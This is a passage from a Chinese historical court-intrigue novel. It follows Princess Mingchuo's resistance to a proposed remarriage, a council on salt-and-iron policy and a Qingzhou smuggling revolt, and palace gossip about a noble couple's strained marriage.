“妇人再蘸,期而后嫁,也得看看是不是年轻无子……”明绰把黄纸一丢,强压着火气,“我已三十,还有个儿子,嫁给谁去!舅舅还真是心疼我,要我去做这万人唾的□□!”
谢聿字字句句都是为了明绰的幸福,还提及了当年太后临终嘱托,又说长公主的儿子不能膝下承欢,才恐她老来孤寂。但是话说得再好听,也藏不住他真实的心思——长公主想干涉立国本,那还不简单?嫁出去做人妇,冠了别家的姓,萧家的事还同她有什么关系?
明绰从牙缝里挤出来一句:“到底是比他女儿有成算。我才回来几天啊?就急着把我赶出宫了。”
萧盈倒是不像明绰一样怒在脸上,只说了一句:“有朕在,谁能赶你出宫?”
明绰闻言便抬头看了他一眼,好一会儿什么都没能说得出来。
敬漪澜提醒过她,连桓宜华都为她考虑过这样安排不合适,但她全然没有放在心上。为了挑衅萧盈吗?还是验证什么呢?可是得到了萧盈这句话,她又怎么都不是滋味起来。
历朝公主外嫁,即使年轻丧夫,也多半有儿子可以守着。从前的卫阳公主算是最不同的,因与夫君不睦,被父皇特许和离,在宫外建了公主府居住,待遇和分封亲王的儿子一样——但即便如此,卫阳公主也没有被接回皇宫居住。
明绰回来的时候心如死灰,萧盈做什么她都不在意,更没有意识到萧盈已经为她破了多少例。
这皇宫里的女主人已经是谢星娥了,她是嫁出去的女儿,嫁出去的女儿是没有家的。今日是中书令,明日是不是就是尚书郎,还是哪位得势重臣,都可以来议一嘴长公主去嫁给谁?是不是她从此只能像一块被高高挂起来卖的肉一样,谁经过都可以问个价?还是说她的余生,就只能完全地依赖萧盈……依赖他的歉疚?还是他的爱?——明绰甚至不确定这爱还存不存在。
她不说话,眼里凝了一滴泪,将落未落。萧盈皱起了眉,伸出手在她眼下一拂。泪沾到他指尖,反而顺着他的动作抹开,明绰顺势垂眸,眼下一片晶莹。萧盈的手就没有收回去,托着她的脸颊,又问:“怎么了?”
明绰摇了摇头,萧盈就不问了。任之快步从外面进来,见到两人挨得这么近,赶紧低下头,止步于外殿,轻轻地咳了一声:“陛下。”
萧盈不动声色地收回手:“说。”
“桓令君、大将军和尚书左丞来了。”
瞧那样子,显然不是这几个人大年下的主动冒雪前来,而是陛下有召。明绰的视线往方才摊在桌上的奏疏上一扫,她整理到一边的时候瞥到几个字,似是与盐铁之策有关。萧盈也看了她一眼,平常嫔妃要是来送个汤送个药,听见朝臣求见,肯定就主动告退了,但是明绰动也不动。
任之没想到里头又没动静了,轻声又提醒了一遍:“陛下?”
萧盈看着明绰,她就坐在他身边,一双眼睛抬起来,泪痕还没干,也看着他。
然后他妥协了似的,笑了一声,轻声道:“传他们进来吧。”
第126章
景平二十一年,萧盈曾下旨开放民间制私盐之权,将原本的官盐买断改为专设盐官监督,主导之人便是尚书左丞王勤。景平二十四年起,又逐步开放私铁之权,允许民间自冶自营。
如此一来,当年官吏贪腐、以次充好等等问题也都依次杜绝。这几年老天也给面子,没出现什么大涝大旱,看着今年冬天这下不完的雪,来年肯定又是个好年,这都是陛下励精图治之功。
桓廊与王勤进了含清宫,暂不议事,诸如此等的好听话先说上一箩筐,算是给萧盈拜个年。萧盈也不打断他们,撑着下巴有一搭没一搭地听,宫人们流水似的围在几位重臣身边,上完了茶又上点心,等到王勤准备第三次重复“贤王德政,功比山川”之类的话的时候,萧盈才终于抬了抬眼睛:“行了。”
王勤尴尬地咳了一声,眼睛直往内殿那个女子身影上瞟。
也不是他想说这些废话,但是长公主今日怎么不走啊?他乍一眼还以为是陛下哪个新宠的嫔妃呢,一看竟然是东乡公主。当年谢太后谋反,就是王勤在朝中为太后联络重臣,后来得蒙陛下不弃,仍旧用他,也不废谢太后施政的思路,王勤就更要加倍地要在萧盈面前表忠心。
长公主不走,他怎么好开口说朝堂上的事儿呢?
明绰知道这些人在想什么,也没有堂而皇之地列席,但就是在萧盈的寝宫里转。一会儿捏捏皇兄的枕头,跟含清宫的女史说这料子不好,要换个再软些的。一会儿又检查一下熏炉里的燃的香料,说这个也不好,冬天的地龙一烧,这味道就太呛人了,要换个更清淡些的……那份琐碎细致的劲儿,好像在她回来之前,从来就没人上心过大雍皇帝的起居似的。
萧盈只当不知道她在忙活个什么,点了点一直沉默的袁增:“青州那边如何?”
明绰马上抬手示意那女史别说话,听袁增给萧盈回报情况。
青州自古产盐,当年一放开,第一个发家致富的就是青州的盐商。这么多年下来,他们已经形成了一个“盐帮”,与权贵联姻,买通当地官员,隐瞒盐课,搞得无法无天。
大雍好些年没有往外征伐,最多也就是修修水利上花些钱,青州的“盐匪之患”就没暴露出来。但是去年长安宣平门之变以后,大雍上下厉兵秣马,做好了与强邻开战的准备,一要钱,这窟窿眼就藏不住了。
建康转头一看才发现,整个青州都成了法外之地了。
东乡公主回了朝,战事暂缓,萧盈就腾出手,准备把这帮“盐匪”收拾了。这事儿文官压不住,要大将军派军队去,所以过年也没得消停。袁增这人话不多,到御前也只有寥寥数语,乌合之众不敌正规部队,青州的局势已经控制住了。
明绰此时已经掀开了隔绝内外殿的轻罗软幔,萧盈一抬眼,就看见她站在桓廊身后,满脸不认同地摇了摇头。
乌兰徵常年征伐,一打起来,国库里的钱就跟流水似的哗啦啦往外淌,所以大燕的盐、铁、酒、铸,甚至山林渔业,人头农田……只要是能课税的,全都牢牢地把握在朝廷手中。她离开大燕之前一心推行的新政,说到底也是为了能够收更多的人头税。所以她实在是理解不了萧盈把财政大头下放民间的行为。
这不是搬起石头砸自己的脚么?
袁增说完了,桓廊便进言,要把为首的几个“盐大王”杀了。王勤也附议上峰,道:“盐帮之患,恐怕不只是青州一地,沿海诸地皆有盐场,焉不知还有什么别的什么‘盐大王’‘盐帮主’,还是得严惩严办,方能以儆效尤。”
萧盈就淡淡地“嗯”了一声,只道:“先让他们把盐课都吐出来再杀。”
明绰懒懒地倚着柱子听,感觉皇兄的语气很像是过年挑了头养肥的猪来宰。她没忍住笑了笑,萧盈便抬起头看她,头轻轻一歪,用眼神问她笑什么。他做得太明显了,桓廊和王勤就也都跟着转头来看。见到长公主听得这般明目张胆,两人脸上都不约而同地露出了异样的表情。
明绰只好把那软幔放下,转身进了内殿。他们说话的声音还是能听见,袁增汇报,青州的盐帮同样借了开放铁策的便利,私
冶兵器,这才成了一方之患。大将军言下之意,还是规劝萧盈,盐铁之策不能放开,但桓廊与王勤所代表的尚书台则认为此政还是利大于弊,而且民间已经开放了这么多年,若是又想突然缩紧,恐怕会有更多混乱,青州之事不会是孤例。
他们两个人两张嘴,袁增就没有特别坚持。萧盈并不着急表态,文官的话他听,武将的话他也听。明绰感觉得出来,他们都没藏什么私心,尤其桓廊和袁增其实就是一家人,但遇到这样的事,他们还是能各抒己见,不会因为利益共同就非要统一战线。甚至听着听着,明绰也有些被桓廊和王勤说服了。
当年盐铁官营所造成的问题已经到了不得不治的地步,和大燕的情况并不一样。而且这几年地方上有了灵活的财权,大大刺激了生产和交易,再加上后来与洛阳互市,才有了百姓们的好日子。一地的盐匪之患固然带来了灾祸和混乱,但更多的百姓们实实在在过上了比以前更好的日子,也是不争的事实。
她没忍住在心里比较了一番。在大燕的时候,她很少能看到两方持不同意见的朝臣能这么心平气和地谈论政策的利弊。他们被粗暴地分为胡汉两个阵营,大部分时候,人必须先选择自己的阵营,再选择自己的观点。有时即便政见不同,为了自身的利益集团,也不得不有所屈折。大燕朝堂的所有事都是立场之争,所有的争夺也都是立场的争夺,让每个身处其中的人都随时准备生死相搏,没有这样心平气和就事论事的空间。
明绰不知道这是因为国家初立才举步维艰,还是因为萧盈确实是个更英明的君主。
难道这是她的失败吗?段知妘会比她做得更好吗?
明绰走了个神,没注意那头已经议得差不多了,萧盈已经知道了他们各自的意见,叫人来赏了几个菜,既是年节的礼数,也是下逐客令的意思。
这大年下的被叫进宫来加班加点,本该赶紧领了赏回家烤火去,桓廊却啰啰嗦嗦的,又跟萧盈扯起家常来,先问了皇后的安,又问崇安公主,曲曲绕绕的,最后又问到了皇长子身上。
“正好,”萧盈想起来了,“皇长子也大了,早该进学。若论学问,令君是最好的。不知令君……”
他还没说完,明绰又一把掀起了软幔,整张脸都在用力,恨不得两颗眼珠子能喊出声音来,让他别选桓廊。
这老头儿现在是忠心了,但当年她替皇兄上朝,他是怎么欺负天子年幼的,她可都记着呢!
萧盈话说到一半,接收到了明绰那边的眼色,舌头里就打了个弯:“……不知令君有没有合适的人选举荐?”
桓廊原本都打算躬身领命了,听见陛下突然改了主意,也转过脸去看长公主。明绰做错事似的,赶紧把软幔放下。桓廊便冷笑了一声。
教不教皇长子没什么,那孩子注定继承不了大统,桓廊也没在他身上押宝。只是看在他毕竟是萧盈目前唯一活下来的儿子,去教也不会有什么损失。但长公主一个已经外嫁的女子,又回来对此事指手画脚,实在岂有此理。
“陛下,此事臣不敢擅专,”他顿了顿,特意强调什么似的,“还是请陛下乾纲独断。”
萧盈只当没听出来他言外之意:“那朕再想想吧。”
他摆了摆手,示意桓廊可以退下了。但他还是没走,把头磕到最下,突然又道:“大燕先王前车之鉴不远,臣请陛下谨记于心!”
明绰猛地掀开了软幔,还未走出去,便听袁增笑道:“咱们皇后最是贤明,令君这话又是从哪儿来的?”
桓廊明显不是在提醒萧盈要戒备谢皇后,可是袁增已经一把抓住了他的手臂,非要把他那话往皇后身上引,硬说桓廊是为了元会朝贺那天皇后发作的事情多嘴,让陛下切莫见怪,就跟压根没看见内殿里站着长公主似的。
桓廊让他拽得使劲挣巴,唤了他好几声,但袁增就是不给他说话的机会,一边说:“人老了还不知道自己嘴碎讨嫌,快随我回去!”一边给王勤使了个眼色。
王勤会错了意,竟然突然上前一步,开始夸皇后的贤明,说她“不越内道,不言外政,是妇人之典范”,必然不会重蹈邻国的覆辙。
袁增一听话头不对,脸色也变了。三人之中,显然唯有他最会看萧盈的脸色,不愿得罪长公主。也是没想到他都特意把话引到皇后身上了,王勤这棒槌还能帮倒忙。
明绰听到这里才终于回过味儿来,原来在建康朝堂上,他们就是这么把宣平门之祸都算在干政的女人头上的。桓、王二人一唱一和,这是点她呢——可她甚至什么都还没说,只是隔着一道帘子站着,他们就已经这样如鲠在喉,不吐不快。
也许正是因为她站在帘后,才让所有人都想起了她的母亲。桓廊真正想说的那个“前车之鉴”真的是乌兰徵吗?否则萧盈为什么这样诡异地沉默着?
明绰重新把软幔放下,扭头就走。动作幅度太大,袖袍带翻了一尊精巧的铜枝烛灯,砸到地上,发出沉闷的“咚”一声,终于打断了外面说话的声音。
一片短暂的静默,然后是三个人低低的告退之声,显然是萧盈做了个手势,让他们都下去了。明绰其实也想离开,但是她又不能往外走,只好往里躲。等了一会儿,才听见萧盈极轻的脚步声。
他把烛灯重新扶好,有意缓和气氛似的,只道:“朕还以为,你定要出来面斥重臣了。”
明绰转过头看着他,脸上一点表情都没有。若是十几年前,她确实肯定已经忍不住了。小的时候她是最藏不住话的,穿着天子的衣服坐在太极殿上,不服气起来谁都敢顶撞。
可是十几年后的明绰已经明白了。在太极殿上顶嘴没有用,挨戒尺的时候强撑勇敢也没有用,现在跑出去面斥桓廊也还是没有用。这从来就不公平,所以没有用。
萧盈看着她的脸色,叹了口气唤她:“溦溦……”
他确实是一个更英明、更有手段的君王。但他不是乌兰徵。
明绰突然笑了笑,打断了他:“皇兄终于议完了?”
十几年的她会冷着脸离开含清宫,会以为她发作的那一点脾气真的有任何的威慑力,会指望着萧盈来哄她。
但现在的明绰只是站了起来,不顾萧盈脸上难以掩饰的意外之色,轻快道:“我陪皇兄用饭吧。”
第127章
教皇长子读书的人选,最后落到了一个谁都没有想到的人头上。年后复朝,萧盈点了太仆令入宫。他的才学倒也一般,但于观星算学一道上极精。长公主亲自引他进的承华宫,头一次听到了皇长子和正常人一样有问有答。谈到感兴趣的东西,他甚至会主动向太仆令提问。原本一直抗拒的敬夫人也终于没了意见,同意了由太仆令
来教皇长子读书。
及至开春换季,萧盈又病了一场。长公主为侍疾,暂时搬进了含清宫的偏殿。群臣往来议事,长公主也不避人。这下,不满的就不只是尚书令了。
谢聿在面君时又提了一遍要为长公主择婿的事,把陛下惹得发了好大一场火,说他们兄妹二人自小失孤,相依为命,如今他病着,只有长公主衣不解带,悉心照料。中书令连这点儿亲情都要夺去,是不是盼着他早点儿死?
话说得太重,殿里来议事的群臣跪了一地。长公主又出来劝,让皇兄息怒。自己掩面而泣,说与大燕先王情深,不忍辜负,又怕嫁了别人,令当今的大燕天子难堪……舅舅还是不要再说这样的话了!
谢聿闹了个没脸,转头就去女儿那里教训,说她成天只会抱怨陛下不喜欢她,陛下病了却从来不见她去照料,说得谢星娥当天就牵了女儿去了含清宫。
见到皇后都来了,明绰就主动退了一步,自己回了上阳宫。一直到天气彻底回暖,萧盈的病好了,她也没再去含清宫看一眼。只是听说仍有人在上奏疏,觉得长公主久居宫中,实在于礼不合。
萧盈一概没理,反而又给长公主封赏。明绰便顺势求了一个恩典,说她不想让皇兄为难,欲效仿从前的卫阳公主,也去宫外立个公主府。
萧盈答应了,着人去选址、修建,瞧那架势,没个三五年这公主府还建不起来。但有了这么个旨意,就是陛下退了一步,朝臣们果然消停了不少。
“真能住在宫外可就好了!”这消息一传出来,桓宜华是最高兴的,笑得嘴都合不拢,“那我们日日都能相见了!”
“我是去公主府,又不是去你家!”明绰也笑,“谁有空日日见你?”
桓宜华便“哎哟”一声,一副伤了心的模样。明绰又亲亲热热地贴她的脸,两人笑成一团。桓宜华突然很轻地叹了一声:“我还以为……”然后又不说了。
明绰追问了一句:“以为什么?”
桓宜华便拉了她的手,轻声道:“我听伯彦说,你回来的时候不情不愿,还说……”她顿了顿,显然不敢复述那句“永远不会原谅”的话,见明绰神色一动,便赶紧笑了一下,遮掩过去,“到底是从小一起长大的兄妹,哪能真有仇啊?如今陛下这样疼你,你什么都不用发愁,多好。”
明绰便也跟着笑笑,回握住了她的手,什么都没解释。
她不知道萧盈是如何告诉袁煦的,也有可能他什么都没说,袁煦自己就看得出来。反正当年她和萧盈的事情,袁煦确认是知情人。他有没有告诉过妻子,明绰不得而知。桓宜华可能也知道,毕竟从谢太后薨逝到明绰启程去长安之前那段日子里,陪伴她最多的就是桓宜华。明绰不觉得当时那个年纪,她能把心事藏得多好,若说桓宜华一点儿都没看出什么,也有些荒唐。
但桓宜华也是聪明人,而且这么多年过去了,明绰和萧盈都已经各自嫁娶,就算知情,也最好装作不知道。
桓宜华觉得她那会儿就是一时气话,如今气消了就没事了,明绰也不想反驳。她希望所有人都这么想,最好萧盈也这么想。
这段日子她已经看得很明白了。即使薨逝了十几年,谢后临朝的阴影依然盘旋在大雍朝廷的上空。经历过她母后垂帘听政那段日子的老臣们会对长公主涉政一事更加敏感一些,年轻一点儿的则是态度暧昧,对于女子干政一事他们也不太高兴,但仅限于“不适”,没到如临大敌的地步。
除此以外,还有一类人,譬如袁增,他们不管有没有经历过谢后临朝,对待长公主的态度完全取决于陛下的态度。
所以明绰去含清宫侍疾,她要让朝廷上下都看到这份“兄妹之情”。
但也不能说,这完全是在演戏。萧盈也过了三十了,他一病,明绰就想起当年卞弘那句判语,心里一直吊着。萧盈的病根是心脉上的损伤,不是已经修身养性,戒嗔戒怒了吗?怎么还是换个季就病倒了?往年是这样的吗?卞弘让她一迭声问得话都说不上,最后吞吞吐吐的,只说也许,大概,可能……
还是去年听说了宣平门之变之后旧疾复发了一次,才这样元气大伤。
这次给的药性猛了一些,萧盈睡下了就盗汗严重,早上醒来中衣都是湿透的。但他是个药罐子,这些年里什么乱七八糟的药后病症都见过了,这点事儿他没放在心上,还不让伺候的宫人大惊小怪。可是明绰担心他这样发汗又要着凉,抓着卞弘让他重新再改温补的方子。连太医令都没忍住感慨,还是长公主细致。
可他这副样子,不还是谢拂霜害的,明绰只有苦笑。她怨恨也是真的,担心也是真的,其余的心,其实很淡了。
从前她是大燕的皇后,要争权夺势还有争权夺势的立场。如今她只是长公主,还有个曾经起兵谋逆,要冒天下之大不韪立女帝的母后,明绰知道,建康的朝堂永远都不会有她的位置。
她不指望萧盈真的能给她报仇,只是盼着晔儿。她不信那封信会是晔儿的本意,晔儿会怨她,这无可厚非,但她花了两年多修复与儿子的关系,她不信晔儿真的此生再也不想见她了。她为儿子留下了方千绪,他一定能替父亲报仇。她现在只盼着母子团聚的那一天。
在那一天之前,明绰需要足够能保障自由的权力。
这些心思,她谁也没有说,也不打算对任何人说。
“那我要跟皇兄说,找个离袁府近的地方,”明绰继续跟桓宜华说笑,“你要是在家里受了气,也好有个去处。”
桓宜华那眼神好像恨不得公主府明日就在袁府旁边拔地而起。
明绰瞧着她长叹了一口气的样子,担心地多问了一句:“怎么了?”然后不等桓宜华回答,就很不满地压低了声音:“袁煦又干了什么?”
桓宜华笑了一声,摇了摇头:“不是伯彦。哎呀……我说出来都嫌丢人,总之家里闹得不可开交的,我来你这里躲躲清净。”
明绰更好奇了,笑着搡了她一下:“丢人的事情我更要听了!你这人怎么净吊人胃口!”
桓宜华让她推得晃了晃,明显也不是真的不想说。
“就是恕颐她张罗着,非要给二郎纳妾……”
明绰一下子睁大了眼睛:“啊?”
这也太贤惠了。
“那闹什么呀?”明绰听不懂了,“又不是你们家二郎要纳妾,她不愿意……”
“二郎跟他阿兄可不一样!”桓宜华马上一脸正色地维护袁綦,“他才不搞这些乱七八糟的呢!”
“他还不愿意上了。”明绰只是笑,“怎么,他是做了什么,让楚夫人嫌弃他了?”
桓宜华满脸都是哭笑不得,又说了一遍:“这事儿真是没法往外说……”
明绰一听这“说来话长”的语调,就赶紧让阴青蘅再补一碟果干来。桓宜华气得直拍她,两个人又笑成了一团,好不容易才平复下来,明绰一边剥核桃,一边摧着桓宜华:“说嘛!”
于是桓宜华便说了。
楚恕颐和袁綦差不多大,两人成亲的时候都是十八、十九岁,算一算,也就是当年大雍自幽州出兵,帮着乌兰徵夹击拔拔兀舒骨之后的事情。那次袁煦没有跟着出征,袁綦屡立奇功,风头正盛,刚回建康又成了亲,可谓是春风得意。
但是成亲没两天,袁綦就自己抱着铺盖,去另一间屋里睡了。
“哦,”明绰点点头,“不喜欢她?”
“那倒也不是……”桓宜华还没说出来,先笑了起来,“问他呢,他也不说,问他们屋里伺候的人,也没听见他们俩吵架什么的,我和娘就轮番去问恕颐怎么回事,结果问出来……”她脸上一红,又不说了,急得明绰只是推她:“什么什么?”
桓宜华压低了声音:“恕颐说,她疼。”
明绰愣了愣才反应过来这是在说什么,顿时笑得浑身发颤,手里的胡桃果壳
都洒了一地。笑了半天才平复过来,煞有介事地点评了一句:“那你家二郎……倒也算是个君子。”
桓宜华长长地“哎呀”了一声:“照说这种事情,出嫁之前总有府里的老人教一教的吧?可是恕颐那样,也不知道楚家怎么回事,只能我和娘去劝……”
“劝她做什么?”明绰继续剥核桃,还是笑,“那肯定是你们家二郎不温柔啊,你们该教他去呀!”
“谁说没教了?”桓宜华没好气,“可他也是有点儿死心眼,说恕颐不愿意,他也不能强求……”
“还真是个君子啊?”明绰又笑得不行,伸出两根手指撑住了额头。
“你快别笑了,”桓宜华又来拧她,“我们都快愁死了!”
“好好好,不笑了……”明绰正了正色,“你接着说。”
当年袁增回朝,因为长公主那封信,被萧盈提点了几句,让他不要自作主张。乌兰徵撤军之后,派了大将拓莫阙去收复辽东。拓莫阙经过幽州边境,大雍果然没有异动。但是后来乌兰徵又出征漠北,幽州大有被包围之势,萧盈还是命袁綦领兵,只做必要的防守。
这一守就是好几年,留楚恕颐一个人在家。但婆母自知出身不好,也不敢来作践大户人家的儿媳,桓宜华又是个和善的阿嫂,和她相处得也很好。她有时候想家,桓宜华也不会非不让她走,平心而论,楚恕颐那几年的日子,过得是相当舒心。里里外外谈起这桩婚事,她也没有任何的怨言。
可是袁綦一回来,她就不自在了。三年前袁綦被从幽州调回来,两人就住了两晚,楚恕颐居然跑回娘家去了,说是母亲病了,她要回去,后来是让楚培亲自给送回来的,给袁家赔礼道歉,搞得大家都很尴尬。
桓宜华只好和婆母轮流地去和楚恕颐谈,是不是二郎做错了什么,得罪了她。楚恕颐也急得哭,说袁綦没什么不好的,她也没有讨厌袁綦,她就是……
桓宜华直叹气,明绰赶紧催:“就是什么?”
“她说她跟二郎不熟。”
明绰实在没有忍住,笑得惊天动地。桓宜华也是哭笑不得,连连摇头。
“也是实话。”明绰笑完了,自己拍着胸脯顺气,“盲婚哑嫁的,确实不熟。面儿都没见过几回的人,上来就要脱衣服,谁心里乐意啊?”
反正她当年刚嫁给乌兰徵的时候是不乐意的。
这个楚恕颐……明绰一边笑一边在心里想,倒是真有意思。做事纯然由心,多难得。
桓宜华继续往下说。既然楚恕颐都说了这话了,自然是要好好地从袁綦身上下手,让他跟妻子慢慢来。但是袁綦再好的性子,遇到这样的事儿也有点儿脸上挂不住。楚恕颐不愿意跟他同房,他就干脆分了房。他一分房,他母亲就着急,没完没了地念,给他念烦了,他就去跟陛下请了命,又出去带兵了。
萧盈知道袁家这荒唐事儿,也不把袁綦派得很远。所以这几年里,为着哄哄母亲,他也还是时常回建康来,只是都留不长,就避难似的赶紧走了。也就是去年领了命,接了东乡公主回朝,才消消停停地在建康多留了几个月。
于是他母亲又不消停了,成天地就是操心楚氏不给二郎生孩子。楚恕颐受不了了,就主动提出来给二郎纳妾。但袁綦又不乐意了,嫌纳妾名声不好。
明绰嚼着核桃说风凉话:“好歹你们府里还有个人知道纳妾名声不好听呢。”
且不说袁煦,袁增院里还养着几个年轻的呢。
桓宜华无话可说。
“还是你婆母想不开。”明绰继续说风凉话,“这种事儿,逼得越紧,越适得其反……”
“我也是这么说呀。”桓宜华撑着额头,真是没招了,“你都不知道,前两年二郎只要回来,婆母就亲自在他们房外盯着,两人若是同睡一张床,全府上下就都知道了,这谁能愿意啊……后来逼得二郎觉也不睡了,就坐那儿,一坐就是一宿……”
明绰听得嘴里“啧啧”作响。这是真有点儿惨了,她都不好意思笑了。
“反正我也劝不动了,由她们去吧,我上你这儿来躲躲清净。”
“那……”明绰还有点儿想不明白,“也这么多年了,楚恕颐还觉得跟二郎不熟吗?就这么不愿意跟他做夫妻吗?”
“难就是难在这儿啊,”桓宜华把手一摊,“恕颐她……她缺心眼啊!”
他们俩也不吵架,还挺相敬如宾。桓宜华去问楚恕颐到底是怎么想的,她也没什么想法,竟然觉得这么跟袁綦过下去也挺好的。桓宜华就说那你得有个做夫妻的样子,哪有这么做夫妻的。楚恕颐就回了她一句:“这世上有像你们这样喜欢这档子事儿的,就也有像我这样,不喜欢这档子事儿的。”
明绰的眉毛一下子高高挑起来:“楚夫人了不得。”
“更了不得的还有呢。”桓宜华不知道叹了第几口气,“我说她这还是年轻,不懂,以后就知道寂寞了。她说有什么寂寞的?袁家难道不养她了?她吃得又不多!”
明绰再也没忍住,放声大笑。桓宜华也跟着笑,实在是无奈到了极处,只能笑了。
“有意思。”明绰现在才是真的明白桓宜华说楚恕颐很能解闷那句话了。
“你来躲清静有什么用啊?”明绰揩了揩笑出来的眼泪,“还是我来釜底抽薪,召楚夫人进宫吧!”
第128章
“夫人。”
楚恕颐赶紧做了个噤声的手势,让府里的丫鬟不要惊动了院里的人,一边自己蹑手蹑脚地靠近,大半个身子都隐在墙后,只露出半颗脑袋,鬼鬼祟祟地往自己院里看。
袁綦正在舞剑。
天热了,他身上一件薄衫脱去了一半,从腰上垂下,像是一条样式特别的衬裙。裸|露的肩背和胸腹上已经出了一层晶亮的汗,想来已舞剑许久,但他仍未觉疲累。长剑或刺或掠,或撩或劈,或挑或斩,不等一式用老,马上就跟上下一式。身随剑动,忽如轻燕,忽如击鹰。最后一点夕光从树影中洒下,斑斑点点地落在他身上跃动,手臂和胸腹的肌肉也随着动作绷出流畅的线条,怎么看都算得上是赏心悦目。
但楚恕颐皱着眉头,一心琢磨着有没有绕开他回房间的路线可以走。
又有一个丫鬟从背后经过,叫了她一声:“夫人。”
楚恕颐赶紧回头嘘她,但是已经来不及了,袁綦收了剑,目光朝这边看过来,唤了她一声:“恕颐。”
楚恕颐背对着他,一张脸已经皱成了苦瓜,下定决心调整了一下才露出一个如常的笑脸,转头向他走去:“仲宁。”
旁边的石桌上搭了一块巾子,楚恕颐的眼睛一瞟,赶紧上前抓起来,两只手一起递给了袁綦,让他擦擦汗,一边关心了一句:“天这么热,小心暑气。”
袁綦“嗯”了一声,上下看了她一眼:“你打哪儿回来的?”
“宫里。”楚恕颐回答他,“长公主有召。”
袁綦擦汗的手突然一顿,然后又若无其事地抹了两把脖子,装作不经意地“嗯”了一声。
自从当日桓宜华带着楚恕颐去过一趟上阳宫之后,这半年来,长公主时不时地就会召她进宫作陪。长公主是寡居,在宫里又没有孩子可以养,没事儿就在上阳宫宴饮,先是请与她年纪相仿、过去就是旧识的官眷贵妇,然后就是她们的女儿、妹妹之类的名门贵女。据说长公主闲得没事儿干,还促成了两对亲。
这倒也没什么异常的,长公主安心在女人堆里作乐,总比日日盘桓在含清宫,在陛下身后要让人放心得多。她与袁家两位女眷尤其交好,也是寻常,毕竟袁家那两个兄弟就一直在陛下面前得脸。
袁綦把汗擦干了,看了妻子一眼,突然注意到了什么:“你几时耳上打了环?”
楚恕颐赶紧伸手摸了摸自己的耳
朵。汉家女子耳上干净,一般不打洞,但袁綦记得长公主的耳上是有环痕的,想来是染了乌兰人的习气。楚恕颐耳上还红着,一看就是刚打不久,她有些不好意思地捂了捂耳朵,只道:“长公主赏了一对耳环,我……”
楚恕颐有些担心地看了看丈夫,怕他说自己没规矩,又小声地申辩了一句:“我们学长公主,都打了的……”
袁綦倒也没有说什么:“这就是长公主赏的?”
楚恕颐把手放了下来,点了点头。其中一枚耳环挂在她的袖口被勾下来,顺着动作被无声地甩出去。袁綦眼中一动,似是想提醒她,但又没张口。
他垂下眼睛,又问了一句:“今日阿嫂没一起去宫里?”
“博儿病了嘛……”袁博是桓宜华的第二个儿子,“阿嫂照顾着呢。”
“就你陪着长公主?”
“不是,”楚恕颐老老实实地把名字往外报,“还有谢云芝,卢卿兰,崔庆英……”
她显然还没报完,但是听到“崔庆英”的名字,袁綦就眉头猛地一皱,脸色一下子不好看了。楚恕颐察觉到不对,赶紧噤了声,懊恼地咬住了下嘴唇。
崔庆英如今在建康的名声很差,从前她要在府里胡闹,关起门来那是他们姜府自己的事情。偏偏她那夫君很有些歪心思,瞧见陛下这么疼妹妹,硬是让崔庆英出面,把长公主从宫里请到姜府做客。原是他这些年仕途不济,想走些歪门邪道,但讨好长公主的法子这么多,他偏偏选了最下作的一种。据说宴上把他那年轻俊美的堂弟请了出来——就是那个传说中跟长嫂崔庆英不清不楚的姜逯。这姜逯也是胆子太大,在宴上就对长公主百般献媚,扬言就等长公主出宫别居,他好自荐枕席,聊慰长公主寡居寂寞。
这事儿在建康一传开,崔庆英夫妇两个的名声已经是臭不可闻,也不知道有没有传进陛下的耳朵里,反正现在已经连带着崔挺都没法见人了。
所以袁綦马上板了脸,说了一句:“都说了,你不要与这种人有什么多的来往!”
楚恕颐把嘴一撇,显然不太高兴。她家中从前也是执金吾卫的军侯,和崔庆英是自小的交情,她不太愿意丈夫这样说自己的朋友。
袁綦知道什么,根本不是外面传的那样,去姜府是长公主自己要去的。她和崔庆英说笑,非要去看看那郎君丑成什么样子了当初崔庆英才不肯嫁,还答应了,若是她亲眼看过了,也觉得委屈,那就替崔庆英做主,准她和离。
那姜逯献媚,长公主也只当个乐,说自古献美人邀宠是常事,献美男就是丑事么?楚恕颐觉得这也挺有道理的,长公主那可是长公主,她想怎么玩儿怎么玩儿,陛下都不管,袁綦管得着吗?
可是她也不敢明着说什么。这些年她和袁綦一直相敬如宾,有的时候还能说说笑笑——原先婆母在门外听房的时候,他们俩甚至有种同病相怜的感觉。那时候他对抗母亲,非要坐一宿,就是不到床上去,她就会陪他下一夜的棋,说一夜的话。虽然夫妻之事上不谐,但是袁綦尊重她,她也觉得袁綦是个好人,他们俩之间也算是有两分情分在的。
可是之前纳妾那事儿,家里闹得没个完,婆母去跟阿兄哭诉,阿兄就过来狠狠训斥了袁綦一顿,说都是因为他“不够男人”,才闹得家宅不宁,老母忧心,连朝中同僚都在看袁家的笑话。袁綦那天就发了性,硬是把楚恕颐拽到了床上。后来楚恕颐哭着求了两句“仲宁不要”,他才突然回过神来似的,仓皇地道了歉。可是楚恕颐再也不敢跟原来那样对他了,见了他总是怕。
袁綦看着她的神色,自己也有些难堪,小声道:“我不是那个意思。”
楚恕颐低着头,不说话。那天她吓得跑去找了阿嫂,桓宜华知道以后气得把袁綦骂了一顿。可是家里人都不觉得袁綦做错了什么,反而说她不懂事,还连累兄嫂之间也吵了一架,婆母更觉得家里的祸事都是她带来的。
也就是在那个时候,长公主突然把楚恕颐召进了宫,还留她在上阳宫里住了好几日,让她免受家中的责难。虽然这事儿她嫌丢脸,也不敢告诉长公主,但在她心里,长公主就跟那救苦救难的菩萨没什么区别。
她沉默着,袁綦便也不知道能说什么,只好悻悻地让她早些回去休息。楚恕颐心里只想着,若不是你在这里拦路,我早就回去休息了。于是她带着气微微屈膝,生硬地行了个礼,站起来要走。
袁綦又在她背后道:“陛下有召,明日我不回来。”
楚恕颐转过头来也道:“明日是盂兰盆法会,我约了长公主去街市,也不回来。”
那意思就是你爱回不回,没人问你。
袁綦感觉到了妻子的言外之意,有些尴尬地抬手抚了抚眉毛,看着楚恕颐转头进了屋。他们俩如今还住在一个院里,但是已经彻底分了房。袁綦又在树下站了一会儿,直到日头已经完全沉了下去,他才突然走了两步,俯身从地上捡起了什么,小心地放在了帕子里,转头走进了另一间房-
“姜川……?”萧盈轻声重复了一遍名字,甚至还得想一会儿这人是谁。
明绰“嗯”了一声,在棋盘上落下一子,提醒他:“就是姜家那丑郎,跟崔家订下了亲,崔庆英拖到二十了都不肯嫁的。”
